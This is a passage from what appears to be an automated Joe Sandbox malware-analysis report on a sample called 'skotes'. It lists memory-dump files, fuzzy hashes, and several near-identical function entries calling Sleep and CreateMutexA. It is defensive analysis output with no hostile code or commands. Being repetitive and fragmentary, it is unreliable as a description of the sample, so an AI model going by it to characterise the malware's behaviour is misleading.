Associated: 00000002.00000002.2125695194.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125725917.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125759482.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125785209.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125851563.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125879989.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125932877.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125959438.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2126753849.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129453543.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129560220.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129623178.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129727156.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129823855.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129846694.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129877627.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129899641.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129925342.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129946035.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129965924.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129985338.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130008252.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130042542.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130070828.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130089890.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130121117.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130150121.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130193432.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130299348.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130328593.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130360133.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130393026.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130421778.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130450435.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130481080.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130510304.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130539738.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f971d9136ed956ffa2803caaf55297824b5ce8c9da273bfcbf2e78430b49c7a6
Instruction ID: d0284d52ef6d611e19375cc8fb1281f7033bc80965485707bfa9c8f07ceaae7d
Opcode Fuzzy Hash: f971d9136ed956ffa2803caaf55297824b5ce8c9da273bfcbf2e78430b49c7a6
Instruction Fuzzy Hash: 5E3129B1B052089BEB0C9B78EC8D7BDBB66FBC5320F204218E158D77D1D77649808752

Function 008FA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 008FA963
CreateMutexA.KERNELBASE(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000002.00000002.2124748348.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.2124725860.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124748348.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124811786.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124830502.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124851728.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124941796.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124960126.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125031894.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125057782.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125089957.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125146017.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125541662.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125575020.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125604296.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125635284.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125664879.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125695194.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125725917.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125759482.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125785209.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125851563.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125879989.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125932877.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125959438.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2126753849.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129453543.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129560220.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129623178.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129727156.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129823855.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129846694.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129877627.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129899641.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129925342.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129946035.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129965924.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129985338.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130008252.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130042542.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130070828.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130089890.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130121117.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130150121.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130193432.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130299348.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130328593.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130360133.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130393026.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130421778.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130450435.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130481080.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130510304.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130539738.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ffad075761f3069540e61b62603ccfb8b9fadbdb2d6904b70afd5b3c59cbc29b
Instruction ID: 72fa18abe4384db4a16b6d84e98e35551d3cc26663b92167c6c9e46b403fd78a
Opcode Fuzzy Hash: ffad075761f3069540e61b62603ccfb8b9fadbdb2d6904b70afd5b3c59cbc29b
Instruction Fuzzy Hash: AC312CB17042089BDB0CEB78E88D77DBB61FBD5324F204218E158D77D5D7B549808766

Function 008FA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 008FA963
CreateMutexA.KERNELBASE(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000002.00000002.2124748348.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.2124725860.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124748348.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124811786.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124830502.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124851728.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124941796.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124960126.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125031894.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125057782.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125089957.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125146017.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125541662.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125575020.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125604296.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125635284.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125664879.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125695194.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125725917.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125759482.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125785209.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125851563.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125879989.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125932877.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125959438.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2126753849.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129453543.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129560220.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129623178.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129727156.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129823855.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129846694.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129877627.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129899641.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129925342.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129946035.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129965924.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129985338.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130008252.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130042542.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130070828.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130089890.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130121117.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130150121.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130193432.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130299348.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130328593.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130360133.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130393026.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130421778.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130450435.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130481080.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130510304.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130539738.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 50a476cb526639f0ff50911c9cd45eac9670417997e83cac6fede45b3599eabd
Instruction ID: 9a0d08889ff65a893fb3f5b39986b747cc6b3936554b55cd7e4468dcdd5bb108
Opcode Fuzzy Hash: 50a476cb526639f0ff50911c9cd45eac9670417997e83cac6fede45b3599eabd
Instruction Fuzzy Hash: F03127B17042088BEB0CEBB8E88977DBB61FBC5324F248218E558DB7D5D77589808722

Function 008FA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 008FA963
CreateMutexA.KERNELBASE(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000002.00000002.2124748348.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.2124725860.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124748348.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124811786.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124830502.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124851728.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124941796.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124960126.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125031894.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125057782.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125089957.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125146017.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125541662.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125575020.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125604296.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125635284.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125664879.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125695194.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125725917.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125759482.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125785209.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125851563.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125879989.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125932877.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125959438.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2126753849.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129453543.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129560220.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129623178.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129727156.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129823855.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129846694.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129877627.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129899641.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129925342.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129946035.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129965924.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129985338.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130008252.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130042542.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130070828.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130089890.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130121117.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130150121.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130193432.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130223087.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130299348.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130328593.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130360133.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130393026.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130421778.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130450435.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130481080.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130510304.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130539738.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e64b5729d250ee83b8cc9f04eca44df527d0d58de13fc977c7eebaa76b8cce91
Instruction ID: e30725e7f3f3c616fe4e0e7022a4beea6e48c8c752442800e46686e475ba2ae1
Opcode Fuzzy Hash: e64b5729d250ee83b8cc9f04eca44df527d0d58de13fc977c7eebaa76b8cce91
Instruction Fuzzy Hash: 89313BB17042088BDB0CEB78DC89B7DBB71EBD5330F248218E558D76D1D77589808752

Function 008F9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 008FA963
CreateMutexA.KERNELBASE(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000002.00000002.2124748348.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.2124725860.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124748348.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124811786.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124830502.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124851728.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124941796.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124960126.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2124980790.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125031894.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125057782.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125089957.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125146017.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125541662.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125575020.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125604296.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125635284.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125664879.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125695194.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125725917.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125759482.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125785209.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125851563.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125879989.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125932877.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2125959438.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2126753849.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129453543.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129560220.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129623178.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129727156.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129823855.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129846694.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129877627.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129899641.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129925342.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129946035.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129965924.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2129985338.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130008252.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
